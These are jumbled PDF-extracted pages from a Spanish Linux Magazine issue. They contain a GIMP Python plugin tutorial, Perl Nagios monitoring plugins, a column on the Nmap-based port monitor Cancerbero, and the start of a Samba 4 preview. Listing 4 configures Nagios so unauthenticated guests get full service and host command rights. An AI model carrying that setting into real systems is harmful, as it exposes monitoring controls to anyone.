tales como si queremos que se aplique

Antialias.

Ya tenemos nuestro círculo señalado,

ahora necesitamos rellenarlo con algo.

Aquí entra en escena la segunda fun-

ción. Curiosamente, en lugar de

aceptar un objeto de imagen necesita

un objeto drawable. Por tanto, le pasa-

mos la capa que generamos

anteriormente. La acción a realizar es

FG_BUCKET_FILL, que significa que

usemos el «cubo» para verter el color

que seleccionamos como principal,

foreground, y cómo queremos que se

comporte respecto al resto de colores

que quedarán debajo. Aquí decimos

que NORMAL_MODE, que los cubra de

forma normal. El 100 viene a decir que

queremos opacidad total. El (0,0) final

se aplicaría sólo en el caso de que no

hubiéremos señalado nada y sería la

posición de arranque para comenzar a

pintar. Aquí no es necesario, pero

debemos pasar algún dato, por eso

pasamos un inocuo (0,0).

Bueno, ya tenemos una circunferen-

cia coloreada, ver Figura 3.

Procedemos ahora a hacer una selec-

ción rectangular, con la que cubrimos

el círculo que hemos coloreado. Des-

pués usamos gimp_edit_copy() para

copiar la selección al portapapeles, y

generamos una nueva imagen con las

mismas dimensiones que la selección

que hemos copiado, generando una

nueva capa sobre la nueva imagen.

Añadimos la nueva capa a la imagen

recién creada, que se corresponderá

con el borde superior izquierdo, y

copiamos sobre ella lo que teníamos en

el portapapeles, la selección de una cir-

cunferencia coloreada.

Ya tenemos una de las esquinas lista:

la superior izquierda, por conveniencia

usaremos tl como sigla para referirnos

a ella (TopLeft, ArribaIzquierda) por-

que es más sencillo distinguir las

variables (Arriba y Abajo comienzan

por «A», así que en castellano podría-

mos distinguirlas). Ver Figura 4.

Procedemos ahora con la esquina

superior derecha. Como ya tenemos en

el portapapeles una capa con el fondo, lo

que hacemos es realizar la selección,

pero cambiando los puntos de arranque.

Es la acción equivalente a girar la capa.

Creamos una nueva imagen, que lla-

mamos tr_img por Top Right (Arriba

Derecha), y pegamos desde el portapape-

les con gimp_edit_paste.

Hacemos lo mismo con el borde de

«Abajo Izquierda» y con el de «Abajo

Derecha». Tenemos los cuatro bordes en

cuatro variables.

En nuestro ejemplo emplearemos el

portapapeles para copiar selecciones y

pegarlas posteriormente en distintas

imágenes.

Primeros pasosVamos a comenzar nuestro trabajo, ver

Figura 1.

Preparamos el alto y el ancho que

especificamos para los bordes redondea-

dos. No es conveniente que sean

demasiado grandes porque el resultado

final se verá excesivamente redondeado.

Generamos una imagen RGB y una

capa sobre ella que usaremos como

patrón para construir las otras cuatro

esquinas. Entonces añadimos la capa a

la imagen, esta capa se montará encima

de la imagen.

Establecemos los colores de fondo y

principal. Estos colores se usarán por

defecto siempre que pintemos o dibuje-

mos, por eso es importante controlarlos.

Una vez definidos los colores por

defecto usamos gimp_drawable_fill para

colorear la capa recién creada usando el

color de fondo por defecto.

Cuatro bordes, cuatroficherosEl objetivo es ahorrarnos el trabajo de

tener que generar los 4 bordes constante-

mente. Comenzaremos generando uno.

Para ello usamos la combinación, ver

Figura 2.

La primera función selecciona una

elipse, un círculo que puede estar

DESARROLLO • Python

52 Número 20 W W W . L I N U X - M A G A Z I N E . E S

01

pdb.gimp_rect_select(img,0,0,r

adius,radius,CHANNEL_OP_REPLAC

E,FALSE,0)

02 pdb.gimp_edit_copy(drawable)

03 tl_img = gimp.Image(radius,

radius, RGB)

04 tl_drawable =

gimp.Layer(tl_img, “Arriba

Izquierda”, radius, radius,

RGB_IMAGE, 100, NORMAL_MODE)

05

pdb.gimp_image_add_layer(tl_im

g,tl_drawable,0)

06

pdb.gimp_floating_sel_anchor(p

db.gimp_edit_paste(tl_drawable

,TRUE))

Figura 3: Creación de laesquina superior izquierda

01

pdb.gimp_ellipse_select(img,0,

0,radius*2,radius*2,CHANNEL_OP

_REPLACE,TRUE,FALSE,0)

02

pdb.gimp_edit_bucket_fill(draw

able,FG_BUCKET_FILL,NORMAL_MOD

E,100,1,FALSE,0,0)

Figura 2: Creación de lacapa base

Figura 3: ¡Todo ha ido bien!

Figura 4: Esquina aumentada para poder

verla correctamente.

Page 53: Linux Magazine - Edición en Castellano, Nº 20

Guardamos en discoTenemos que crear los ficheros y guardar

en ellos los distintos bordes.

filename = directory+”/”+U

file_prefix+”tr.png”

pdb.file_png_save_defaultsU

( tr_img, tr_drawable,U

filename, filename )

Generamos una ruta en filename. Usa-

mos para ello el directorio, el nombre del

fichero y una terminación distinta para

cada borde.

Para guardar el fichero en disco duro

empleamos la función

file_png_save_defaults(). Gimp propor-

ciona un gran número de funciones tanto

de carga de ficheros como para guardar-

los. Cada función posee un nombre que

refleja el formato en que trabaja. En este

caso estamos guardando el fichero en

formato PNG, pero podríamos haber ele-

gido JPEG mediante el uso de

file_jpeg_save_defaults().

Realizamos esta misma acción para

cada uno de los cuatro bordes. Y se

acabó, ya tenemos nuestros ficheros lis-

tos para ser usados.

El registro del pluginLos plugins de Gimp necesitan regis-

trarse para poder ser usados y

aparecer en los menús, el código en

este caso es, ver Figura 5. Cada una

de las opciones merece una explica-

ción. La función register() acepta

nada menos que 11 parámetros, y

todos son obligatorios:

• nombre: nombre con el que aparecerá

en el navegador

• blurb: pequeña descripción del plugin

• ayuda: ayuda para el uso

• autor: nombre del autor

• copyright: a quién pertenece el copy-

right

• fecha: fecha de creación (normalmente

el año)

• ruta en el menú: puede comenzar con

<Image> o <Toolbox>. En el primer

caso aparecerá una entrada en el menú

contextual de la imagen (será necesa-

rio tener primero una imagen), y en el

segundo aparecerá una entrada en el

menú de extensiones sin necesidad de

trabajar con un fichero previamente.

• tipos de imágenes: con qué tipos de

imágenes puede trabajar el plugin.

• parámetros: es una lista de los campos

que se mostrarán al usuario y que

deben coincidir con los parámetros

que acepta la función operativa. Cada

entrada se compone del tipo de

campo(PF_INT entero, PF_COLOR

color, PF_FILE un fichero…), el nom-

bre de la variable relacionada con ese

campo, el nombre que se usará cuando

se muestre el campo al usuario y los

valores en los que puede oscilar el

campo.

• resultados: otra lista, pero esta vez con

el tipo de los resultados.

• función: y por último, el nombre de la

función que responderá en caso de lla-

mada.

Rellenar todos estos campos es un

proceso pesado pero importante,

puesto que el navegador emplea la

información que se obtiene del regis-

tro para mostrársela al usuario cuando

lo navegue.

Conclusión

Como ya se dijo en el número 5, el pro-

ceso de desarrollo y debugging de plugin

para Gimp en Python es tortuoso y en

algunos casos muy complicado debido a

la ausencia de documentación. La única

vía de información son los escasos tuto-

riales presentes en la Web.

Aún así, Python proporciona un

enorme potencial a Gimp simplificando

muchas tareas enormemente dificultosas

con otros lenguajes. �

Python • DESARROLLO

53Número 20W W W . L I N U X - M A G A Z I N E . E S

[1] Artículo sobre plugins Python para

GIMP: http://www.linux-magazine.es/

issue/05/GimpScripts.pdf

[2] Documentación sobre el uso de

Python para GIMP: http://www.gimp.

org/docs/python/index.html

RECURSOS

01 register(

02 “python_fu_gen_corners”,

03 “Generate four rounded

corners”,

04 “Generate four rounded

corners. Useful for writing

web pages with many rounded

corners.”,

05 “Jason Kivlighn”,

06 “Jason Kivlighn”,

07 “2006”,

08

“<Toolbox>/Python-Fu/_Generate

Corners”,

09 “RGB*, GRAY*”,

10 [

11 (PF_INT, “radius”,

“Radius”, 10),

12 (PF_COLOR,

“fg_color”, “Foreground

Color”, (255,255,255)),

13 (PF_COLOR,

“bg_color”, “Background

Color”, (0,0,0)),

14 (PF_STRING,

“file_prefix”, “File prefix”,

“border_”),

15 (PF_FILE,

“directory”, “Directory”, “”)

16 ],

17 [],

18 python_gen_corners)

Figura 5, Registro de lafunción.

01

pdb.gimp_rect_select(img,radiu

s,0,radius,radius,CHANNEL_OP_R

EPLACE,FALSE,0)

02 pdb.gimp_edit_copy(drawable)

03 tr_img = gimp.Image(radius,

radius, RGB)

04 tr_drawable =

gimp.Layer(tr_img, “Arriba

Derecha”, radius,

radius,RGB_IMAGE, 100,

NORMAL_MODE)

05

pdb.gimp_image_add_layer(tr_im

g,tr_drawable,0)

06

pdb.gimp_floating_sel_anchor(p

db.gimp_edit_paste(tr_drawable

,TRUE))

Figura 4: Creación de laesquina superior derecha

Figura 5: Resultado final.

Page 54: Linux Magazine - Edición en Castellano, Nº 20

muchas otras cosas. Si tenemos

alguna necesidad especial no

cubierta por los plugins estándar,

podemos confeccionar uno que se

adapte a nuestras necesidades.

Sólo por dar un ejemplo, Nagios

puede llevar a cabo tests para verifi-

car si un proveedor de hosting nos

está dando un servidor con suficien-

tes recursos, en lugar de sobrecargar

el servidor albergando demasiadas

páginas Web en él. Si, por razo-

nes de seguridad, la

instalación de Nagios en la

máquina local no tiene

acceso directo a la shell

del lado servidor, pode-

mos instalar un agente

en la página Web.

Estadísticas E/SSi situamos el

script de agente

iostat.cgi (Listado

1) en el directorio

CGI del servidor

Web que queremos

investigar, nos será

de gran ayuda. El

script se activa con

una petición HTTP,

llama al comando

iostat de Linux, y

envía algunos

resultados al cliente, que resulta ser

un plugin de Nagios. El plugin

interpreta entonces los resultados y

usa el código de salida para

indicarle a Nagios si los valores son

correctos o si ha encontrado

problemas (véase Tabla 1).

El script CGI, iostat.cgi, usa la fun-

ción tap del módulo Sysadm::Install

de CPAN para llamar al comando ios-

tat con los valores 1 y 2 (línea 8).

Debido al valor del intervalo de 1, y

al valor de contador de 2, mide el

rendimiento de la CPU y de la E/S

del disco duro dos veces por

segundo y genera el resultado de la

Figura 3.

El primer test nos da el valor

medio desde el último reinicio,

mientras que el segundo es más

interesante para Nagios, ya que

agrega el rendimiento por segundo

mientras se está ejecutando. La

columna %idle nos indica el tiempo

que ha estado disponible la CPU, y

iowait mide cuánto ha tenido que

esperar la CPU al disco duro. Desde

el punto de vista del consumidor lo

más deseable es un valor alto de

%idle y un valor bajo de %iowait.

El script iostat.cgi del Listado 1 lee

la salida de iostat y descarta el pri-

mer conjunto de valores medidos.

Para ello, usa la expresión regular

$RE{num}{real} del repositorio

Regexp::Common para analizar los

valores numéricos. A continuación

Puede que le sea familiar la

siguiente escena: escucha-

mos la voz de nuestro

compañero (definitivamente tecnó-

fobo) en el despacho contiguo

gritando “¡Mi Internet no funciona!”

Una posible respuesta puede ser

comprobar laboriosamente si el rou-

ter está realmente hablando

con nuestro proveedor o si

podemos acceder al servidor

de DNS. Pero la localización y

resolución de problemas es

mucho más fácil si dispo-

nemos de un software que

monitoriza las funciones

críticas y nos muestra

un amigable resumen

basado en Web como

el mostrado en la

Figura 1.

La herramienta

en software libre

Nagios es perfecta

para este tipo de

monitorización. Los

desarrolladores dis-

ponen de una gran

lista de plugins en

[2]. Los plugins pue-

den ayudarnos a

monitorizar páginas

Web, bases de

datos, redes y

DESARROLLO • Perl

54 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Creamos nuestros propios plugins para Nagios

EL VIGILANTEPodemos crear un plugin en Perl para aprovechar la potencia de la herramienta de monitorización Nagios.

POR MICHAEL SCHILLI

Valor de Texto Significado

salida

0 OK Todo correcto

1 WARNING Problema en servicio

2 CRITICAL Problema en servicio

crítico

3 UNKNOWN Problema con el

plugin

Tabla 1: Valores de

salida

Page 55: Linux Magazine - Edición en Castellano, Nº 20

de la cabecera HTTP obligatoria,

devuelve una cadena tal que user

2.99 nice 0.00 sys 0.00 iowait 0.00

idle 96.52. La llamada declaración

de anchura cero, \G (línea 20), evita

que el motor de expresiones regula-

res vuelva atrás al comienzo del

texto en cada ocasión y le indica que

continúe la búsqueda tras la última

coincidencia.

Carga LímiteEn la parte de Nagios, el plugin del

Listado 2 hace uso de LWP::Simple

para llamar al script CGI que acaba-

mos de ver en el servidor, captura la

línea de salida y ejecuta split para

dividir la salida en campos para

guardarlos en el hash %values. Si la

disponibilidad de la CPU es menor

del 50%, el plugin reporta un estado

crítico. Para valores menores al 80%

sólo muestra un aviso. Se aplica el

mismo principio al valor iowait,

pero los valores umbral son del 10 y

20 por ciento en este caso.

El módulo Nagios::Clientstatus de

CPAN descarga algo de trabajo del

plugin al verificar si éste ha pasado

todos los parámetros requeridos. El

método exitvalue también entiende

cadenas como warning, más que el

valor numérico 1 del mundo de

Nagios. Si ejecutamos el plugin en

línea de comandos tecleando:

check_iostat -url=U

http://server/cgi/iostat.cgi

el plugin devuelve las siguientes

líneas de salida:

IOSTAT OK - user 2.99 U

nice 0.00 sys 0.00

iowait 0.00 idle 96.52

Más tarde Nagios llamará al plugin

de esta manera, interpretará los

valores de salida y mostrará el texto

resultante del plugin en stdout.

Nótese que Nagios::Clientstatus

requiere la versión 2.35 o superior

de Getopt::Long.

Integrar el PluginPara añadir el nuevo plugin a la insta-

lación de Nagios, el administrador

debe copiar el script check_iostat al

directorio /usr/local/nagios/libexec y

darle permisos de ejecución. En la

Figura 4 se añade una plantilla deno-

minada ez-service a la configuración de

Nagios. Esto hace más sencillo añadir

más servicios posteriormente. En las

configuraciones de Nagios es una

práctica común definir plantillas, que

se identifican con facilidad por sus

entradas register 0. Las definiciones de

los servicios pueden usarse más tarde

para añadir entradas especiales a las

plantillas.

La configuración define service de

la Figura 4 define el nuevo servicio

Iostat. Se construye en base a la

plantillas use ez-service, que defini-

mos anteriormente, y acepta varios

parámetros para ejecutar tests, noti-

ficaciones por email y muchas otras

cosas. Estas configuraciones de

plantilla se heredan luego por la

definición de servicio y pueden ser

anuladas en caso necesario. Algunas

configuraciones y sus significados:

la entrada notification_interval 0

evita que Nagios envíe múltiples

emails para reportar un único pro-

blema. Los administradores pueden

fijar normal_check_interval para

especificar el intervalo entre tests de

servicio, en minutos, y

max_check_attempts para especificar

qué número de tests permitimos que

fallen antes de que nos lo notifique

Nagios. service_notification_options

especifica qué cambios en el estado

de Nagios se nos deben notificar con

un mensaje. La opción w se refiere a

un aviso, u para desconocido, c de

crítico y r de recuperación. Un prin-

cipio similar se aplica a

host_notification_options: además

de unknown y recovery, nos permite

la opción d para caído.

El Servidor SolitarioSi el servidor Nagios está aislado del

resto del mundo debido a un fallo en

la red, obviamente no vamos a reci-

bir ningún email a través de

Internet. En este caso, el administra-

dor recibe al menos un email de

recuperación tan pronto como se

haya arreglado el problema. Nagios

soporta también administradores de

eventos para definir acciones que

llevar a cabo al detectar un error. El

sistema puede solucionar problemas

de manera autónoma sin la interven-

ción de un administrador.

Con Nagios 2.0, un servicio siem-

pre se mapea a un host al que se le

comprueba la disponibilidad inde-

pendientemente. Las especificaciones

del host requieren entradas en el

archivo de configuración. La línea

host_name dreamhost en la

configuración del ejemplo define el

nombre del host, al que nos vamos a

referir más tarde en la página de

visualización de Nagios.

Perl • DESARROLLO

55Número 20W W W . L I N U X - M A G A Z I N E . E S

Figura 1: Esta página resumen de Nagios nos muestra que los tests locales han sido

completados con éxito, pero que el router y todo lo que está más allá, están inaccesibles.

Page 56: Linux Magazine - Edición en Castellano, Nº 20

comandos a ejecutar. La línea

check_command puede tomar

argumentos opcionales, que pasa a

continuación a la definición del

comando. Separada por un signo de

exclamación, la URL de la línea

check_command se pasa a la

definición del comando iostat y

reemplaza al parámetro de

sustitución $ARG1$.

El valor 24x7 de check_period y

notification_period requiere configu-

raciones para definir la dirección de

email del administrador y la disponi-

bilidad. Podemos encontrar un

archivo de ejemplo llamado ezna-

gios.cfg en [1], y añadir una línea tal

que:

cfg_file=U

/usr/local/nagios/etc/eznagios.cfg

al archivo de configuración nagios.cfg. Al

mismo tiempo, eznagios.cfg define los

tests de Nagios que nos indican cuanto

espacio en disco está ocupado y si el rou-

ter y servidor de DNS de nuestro

proveedor están funcionando.

Calentito, calentito…

check_temperature es otro ejemplo claro

de plugin de cosecha propia para Nagios.

El script (véase el Listado 3) contacta

una base de datos round-robin en busca

de la medida de temperatura indicada en

[3], y nos alerta si la medida más

reciente de la temperatura externa o

interna excede unos umbrales

específicos. En el clásico estilo de

plugins de Nagios, acepta parámetros en

línea de comandos para los valores

umbral. Si realizamos la llamada:

check_temperature -warn=30 U

-crit=35 -dsname=Inside

El parámetro de definición de

servicio check_command especifica

cómo realizar la llamada al plugin

check_iostat. Sin embargo, la

llamada no se realiza directamente

en la definición del servicio. En su

lugar, usa un comando configurado

anteriormente por define command

para especificar la línea de

DESARROLLO • Perl

56 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Figura 2: Nagios nos muestra un gráfico para indicarnos con qué frecuencia ha sido imposible

acceder a un sistema.

01 #!/usr/bin/perl

02 ##############################

03 use strict;

04 use LWP::Simple;

05 use Log::Log4perl qw(:easy);

06 use Nagios::Clientstatus;

07

08 my $version = “0.01”;

09 my $ncli =

Nagios::Clientstatus->new(

10 help_subref =>

11 sub { print “usage: $0

url\n” },

12 version =>

$version,

13 mandatory_args => [ “url”

],

14 );

15

16 my $url =

$ncli->get_given_arg(“url”);

17

18 my $data = get $url;

19

20 unless($data) {

21 print “Failed to get

$url\n”;

22 exit

$ncli->exitvalue(“unknown”);

23 }

24

25 my %values = split ‘ ‘, $data;

26

27 my $status =

28 $values{idle} < 50 ?

“critical” :

29 $values{idle} < 70 ?

“warning” :

30 $values{iowait} > 20 ?

“critical” :

31 $values{iowait} > 10 ?

“warning” :

32 “ok”;

33

34 print “IOSTAT “, uc($status),

“ - $data\n”;

35

36 exit

$ncli->exitvalue($status);

Listado 2: check_iostat

01 #!/usr/bin/perl -w

02 use strict;

03 use Sysadm::Install qw(:all);

04

05 use CGI qw(:all);

06 use Regexp::Common;

07 use Sysadm::Install qw(:all);

08

09 my($stdout, $stderr, $rc) =

10 tap “iostat”, 1, 2;

11

12 $stdout =~

/avg-cpu.*?avg-cpu/gs;

13

14 print header();

15

16 for my $key (qw(user nice sys

17 iowait idle))

{

18 if($stdout =~

19

/\G.*?($RE{num}{real})/gs) {

20 printf “%s %s “, $key,

$1;

21 }

22 }

Listado 1: iostat.cgi

Page 57: Linux Magazine - Edición en Castellano, Nº 20

se dispara un aviso si la temperatura

interna sube por encima de los 30º

centígrados. El umbral crítico es

35º. La Figura 5 muestra varios

valores resul-

tado y la salida

del plugin para

distintas confi-

guraciones de

los parámetros.

De un modo

similar al plugin

Iostat que hemos

visto anterior-

mente, la

entrada del ser-

vicio

check_command

check_tempera-

ture!25!30!Inside pasa los

parámetros 25, 30 e “Inside” al

script. La entrada command corres-

pondiente es algo como:

define command {

command_name

check_temper

ature

command_line U

$USER1$/check_temperature U

-warn=$ARG1$ -crit=$ARG2$ U

-dsname=$ARG3$

}

La sección central de la colorida

tabla de la Figura 1 muestra que

ambas temperaturas son bastante

normales: 18.8º C (internos) y 15.9º

C (externos). Al menos mi aparta-

mento no está en llamas.

Perl • DESARROLLO

57Número 20W W W . L I N U X - M A G A Z I N E . E S

Figura 3: iostat muestra el tiempo que ha estado la CPU sin utilizar ycuánto ha estado esperando al disco duro.

Figura 4: Configuración de Nagios para el

nuevo plugin Iostat.

01 #!/usr/bin/perl -w

02 ##############################

03 use strict;

04 use RRDTool::OO;

05 use Getopt::Std;

06 use Pod::Usage;

07 use Nagios::Clientstatus;

08

09 my $N = “TEMPERATURE”;

10

11 my $nc =

Nagios::Clientstatus->new(

12 help_subref => sub {

pod2usage() },

13 mandatory_args => [qw(

14 crit warn dsname

15 )],

16 );

17

18 my $rrd = RRDTool::OO->new(

19 file =>

“/tmp/temperature.rrd” );

20

21 my $dsnames =

$rrd->meta_data(“dsnames”);

22

23 $rrd->fetch_start(

24 start => time() - 6*60,

25 end => time()

26 );

27

28 my $temp;

29

30 if(my($time, @values) =

31

$rrd->fetch_next()) {

32 for(my $i=0; $i<@$dsnames;

$i++) {

33 if($dsnames->[$i] eq

34

$nc->get_given_arg(“dsname”))

{

35 $temp = $values[$i];

36 last;

37 }

38 }

39 }

40

41 my $status = “ok”;

42

43 if(! defined $temp) {

44 $status = “unknown”;

45 }

46 elsif($temp >=

47

$nc->get_given_arg(“crit”)) {

48 $status = “critical”;

49 }

50 elsif($temp >=

51

$nc->get_given_arg(“warn”)) {

52 $status = “warning”;

53 }

54

55 printf “$N %s - %s: %s\n”,

56 uc($status),

57

$nc->get_given_arg(“dsname”),

58 defined $temp ?

59 sprintf(“%.1f”, $temp) :

60 “NODATA”;

61

62 exit $nc->exitvalue($status);

Listado 3: check_temperature

Creamos un usuario y grupo para

Nagios:

adduser nagios

cd nagios-2.0

./configure

make all

Instalamos los ejecutables, los scripts

CGI y las páginas HTML. Creamos el

script de arranque en /etc/rc.d/init.d, y

generamos por último una configu-

ración de ejemplo:

make install

make install-init

make install-config

Instalar Nagios

Page 58: Linux Magazine - Edición en Castellano, Nº 20

Afortunadamente, la distribución nos

ofrece una colección de archivos de

ejemplo que podemos editar. Para ello,

simplemente renombramos los archivos

.cfg-sample bajo /usr/local/nagios/etc a

.cfg.

La instalación de Nagios no debería

ser accesible públicamente a través de

Internet. Puede que queramos usar los

ajustes de la Figura 6 al configurar el ser-

vidor Web de nuestro Nagios. Tras

ejecutar el demonio de Nagios tecleando

/etc/rc.d/init.d/nagios restart (como

root), y enviar una señal HUP al servidor

Web, los usuarios autenticados pueden

acceder a los datos medidos y las series

de reportes en http://localhost/nagios

(véase Figura 1).

Si la página

de Nagios está

ubicada tras

un firewall,

y estamos

seguros de

que sólo

puede

accederse

por usuarios

autorizados,

podemos ignorar la autenticación y

comentar las líneas Require valid-user.

En el archivo de configuración de

Nagios, cgi.cfg, las entradas del Listado 4

permitirían a un usuario no autenticado

acceder a toda la información y coman-

dos de servicio.

Dormir a Pierna Suelta

Tras realizar todos estos cambios en los

archivos de configuración, podría ser

una buena idea verificar si la

configuración está libre de errores antes

de intentar reiniciar el demonio. Para

verificar la sintaxis:

cd /usr/local/nagios

bin/nagios -v etc/nagios.cfg

Una buena estrategia de monitoriza-

ción, llevada a cabo de manera fiable

por Nagios, garantiza al administrador

el poder dormir a pierna suelta, a

menos que salten las alarmas, claro.

Siempre será preferible despertarse

por un aviso de Nagios a nuestro

busca que saltar de la cama por un

usuario malhumorado que nos llama

en mitad de la noche. �

Instalación

El tarball de la distribución 2.0 de Nagios

está disponible en la página Web del

proyecto [4]. Tras desempaquetarla,

podemos seguir las instrucciones del

cuadro “Instalar Nagios” para conseguir

un servidor Nagios operativo. Otro

tarball [2] contiene los plugins estándar

para Nagios 2.0. Tenemos que

desempaquetar el tarball en

/usr/local/nagios/libexec.

El principal obstáculo para echar a

andar Nagios es la configuración. Tras

instalar la herramienta, el administrador

debe crear al menos seis(!) archivos de

configuración diferentes.

DESARROLLO • Perl

58 Número 20 W W W . L I N U X - M A G A Z I N E . E S

01 # cgi.cfg:

02 default_user_name=guest

03

04 authorized_for_system_information=nagiosadmin,guest

05 authorized_for_configuration_information=nagiosadmin,

06 authorized_for_all_services=nagiosadmin,guest

07 authorized_for_all_hosts=nagiosadmin,guest

08 authorized_for_all_service_commands=nagiosadmin,guest

09 authorized_for_all_host_commands=nagiosadmin,guest

Listado 4: Guest Access[1] Listados de este artículo: http://www.

linux-magazine.es/Magazine/

Downloads/20

[2] Plugins estándar para Nagios-2.0:

http://prdownloads.sourceforge.net/

nagiosplug/nagios-plugins-1.4.2.tar.

gz

[3] Michael Schilli, “¿Está que arde?”,

Número 18 de Linux Magazine edi-

ción en castellano, pag. 46

[4] Nagios: http://www.nagios.org

RECURSOS

Figura 5: Resultados y valores del plugin de la temperatura con diferentes parámetros en líneade comandos.

Figura 6: Configuración del servidor Webpara Nagios.

Page 59: Linux Magazine - Edición en Castellano, Nº 20

El mes pasado, le eché un vistazo a

algunas de las nuevas características

de Nmap 4.00. Este tema fue muy

interesante entonces, sin embargo, éste

describiré a Cancerbero [1], una

herramienta para monitorizar un servidor

basado en Nmap. La herramienta, que

está escrita en Perl, hace uso de la potencia

de Nmap para escanear los puertos de los

dispositivos de red. Cancerbero registra los

resultados en una base de datos y utiliza

una pequeña interfaz PHP para poder ver

mejor los resultados. Los beneficios son

obvios: Echemos un vistazo rápido a los

puertos y fácilmente podremos saber qué

puertos están abiertos o cerrados. Se

encuentran disponibles un archivo tar y un

paquete Debian del programa. En mi caso,

la última opción no lo está, ya que mis

equipos de laboratorio ejecutan una

distribución basada en RPM. Sin embargo,

esto puede ser una buena oportunidad para

sacar Alien, la herramienta con nombre

extraterrestre que convierte paquetes

formateados a RPM. Si no funciona,

también puedo pelearme con el fichero tar.

Quien no arriesga no gana:

alien -r cancerbero_U

0.4-1_i386.deb

Alien me dio un fichero llamado cancer-

bero-0.4-2.i386.rpm. Vamos a tener cuidado

con la primera instalación:

rpm -Uvh —test U

cancerbero-0.4-2.i386.rpm

Todo está tranquilo

en el frente Oeste y

así siguió incluso

después de elimi-

nar el parámetro

—test. Por

supuesto, tuve que

resolver las depen-

dencias por mí

mismo. En el lis-

tado que aparece

en [2] pueden

encontrarse otros

componentes que necesita Cancerbero.

Afortunadamente, la lista no contiene

nada que sea realmente raro y si está

acostumbrado a tratar con Perl, proba-

blemente ya tenga estos componentes

instalados en el sistema.

Crear una Tabla en la Basede Datos Como Cancerbero quiere almacenar los

datos en una base de datos MySQL, ten-

dré que crearla primero (hay una

excelente guía paso a paso en [2]). Can-

cerbero le proporciona una tabla para

explicar la estructura, y para usarla

puede introducir:

mysql -D database-name U

-u SQL-username -p U

< cancerbero.sql

Cuando instalé el paquete (o desempa-

queté el fichero tar), se creó un directorio

denominado /site. Necesito mover este

directorio a la ruta donde el servidor web

pueda verlo. El fichero de configuración

principal, cancerbero.conf, se almacena

bajo /etc/cancerbero. Tengo que modificar

los parámetros de acceso a la base de datos

(nombre de la base de datos, host, nombre

de usuario, contraseña) para que coincida

con la configuración de MySQL. También

necesito definir el rango de la red que Can-

cerbero va a monitorizar, por ejemplo

192.168.1.0/24. Desafortunadamente, el

programa está restringido a un solo rango

actualmente; en mi humilde opinión, esta

es la mayor restricción de Cancerbero. Pero

el autor ha prometido arreglarlo y el pro-

grama sólo va por la versión 0.4. La

lista-blanca me permite definir una lista

separada por comas de redes y equipos que

esta herramienta nunca debería escanear.

Esto es realmente útil si se tienen impreso-

ras en la red. Finalmente, necesito pasar los

parámetros de la base de datos que ya le he

pasado a Cancerbero en su interfaz PHP.

Para hacerlo, sólo necesito introducir los

datos en /include/dbconnect.php. ¡Termi-

nado! Ahora sólo tengo que hacer clic para

escanear con mi navegador.

59

La Columna de Charly • ADMINISTRACIÓN

Número 20W W W . L I N U X - M A G A Z I N E . E S

[1] Cancerbero: http://cancerbero.

sourceforge.net

[2] Instalación: http://cancerbero.

sourceforge.net/install.html

RECURSOS

Samba 4 . . . . . . . . . . . . . . . . . . . . . .60

Aprende lo nuevo de la próxima

versión del servidor de ficheros y de

impresión Samba.

Privilegios root con OP . . . . . . . . . .64

La versátil utilidad Op es una

herramienta sencilla para la gestión de

los privilegios de los usuarios.

SYSADMIN

Cuando los puertos de un equipo empiezan a abrirse y cerrarse como ventanas lan-

zadas al viento, es hora de que los administradores presten atención. POR CHARLY

KÜHNAST

El Día a Día del Administrador de Sistemas: Cancerbero

PUERTOS MOVIDITOS

Figura 1: Salida detallada de Cancerbero tras completar un escaneo.

La interfaz en PHP muestra un listado de los puertos abiertos y los

sistemas operativos de los servidores.

Page 60: Linux Magazine - Edición en Castellano, Nº 20

Uno de los principales objetivos de Samba 4

es proporcionar un servidor de directorios

Samba que pueda interoperar con el Directo-

rio Activo de Microsoft; una versión muy

temprana de esta funcionalidad salió al

público a finales de enero.

El equipo de Samba optó por una solución

radical, reimplementar la mayoría de las ruti-

nas para liberar a Samba 4 de la carga de

modificaciones sufridas durante las versiones

anteriores. Como consecuencia, se han elimi-

nado muchas de las opciones en las que se

basaba Samba .

Kerberos y LDAPSamba 3 proporcionó a los administradores de

redes la opción de instalar una máquina Linux

como un servidor de miembros de dominio en

un dominio Windows 2000/2003. Desde un

punto de vista técnico, el servidor de miem-

bros utiliza los tickets de Kerberos para los

propósitos de autenticación. Basándose en

este diseño, tanto los servidores como los

clientes (utilizando herramientas como

smbmount) intercambiaban tickets, imple-

mentando operaciones de firma entre Linux y

Windows a través del dominio. El uso de

Samba 3 como controlador de dominio prima-

rio (PDC) o como controlador de dominio de

reserva (BDC) estaba restringido a la autenti-

cación del tipo Windows NT, con Kerberos de

por medio.

Ahora que Samba 4 implementa sus pro-

pias funcionalidades de Kerberos, Samba

puede reemplazar a un controlador de domi-

nio Windows (véase más adelante). La

implementación de Kerberos es la variante

Heimdal, por lo que es lógico que su desarro-

llador, Love Astrand, asuma la mayor parte

del trabajo de programación pendiente. En el

futuro será posible el uso de librerías externas

de Kerberos.

Todas las versiones de Samba tienen el

mismo objetivo: compartir recursos

Windows en sistemas operativos basa-

dos en Unix, como Linux, y compartir los

recursos de Linux con los sistemas Windows

[1]. Desafortunadamente, el soporte para los

sistemas Microsoft es un objetivo difícil: Red-

mond no tiene la fama que tiene precisamente

por su voluntad de publicar especificaciones y

el gigante del software continúa extendiendo

los protocolos SMB/CIFS desde una versión

Windows a la siguiente.

Los desarrolladores de Código Abierto

intentan seguirle la pista a los cambios intro-

ducidos en SMB, utilizando para ello

herramientas como Ethereal, la cual les per-

mite fisgar en las conexiones, aunque

Microsoft dió un paso más con Windows

2000, introduciendo el sistema de directorios

basado en objetos conocido como Servicio de

Directorio Activo (ADS, [2]).

Al contrario que en los desarrollos previos,

en este caso Microsoft intentó establecer un

estándar desarrollando una base de datos

LDAP junto con un mecanismo de autentica-

ción Kerberos 5, y optando por un método de

resolución de nombres basado en DNS. El

hecho de que Microsoft haya mantenido prin-

cipalmente un estándar auténtico le permite a

Linux proporcionar un alto grado de interope-

ratividad gracias a las implementaciones libres

como OpenLDAP y las versiones MIT o Heim-

dal de Kerberos.

ADMINISTRACIÓN • Samba 4

60 Número 20 W W W . L I N U X - M A G A Z I N E . E S

A finales de enero se publicó una versión técnica previa de Samba 4.

Vamos a echarle un vistazo a lo que nos traerá esta nueva versión del

servidor de ficheros de impresión Samba. POR MARKUS KLIME

Un Primer Vistazo a Samba 4

UN NUEVO BAILEUN NUEVO BAILE

Figura 1: La herramienta provision inicializa la base de datos de Samba. También se puede eje-

cutar Swat.

Un Primer Vistazo a Samba 4

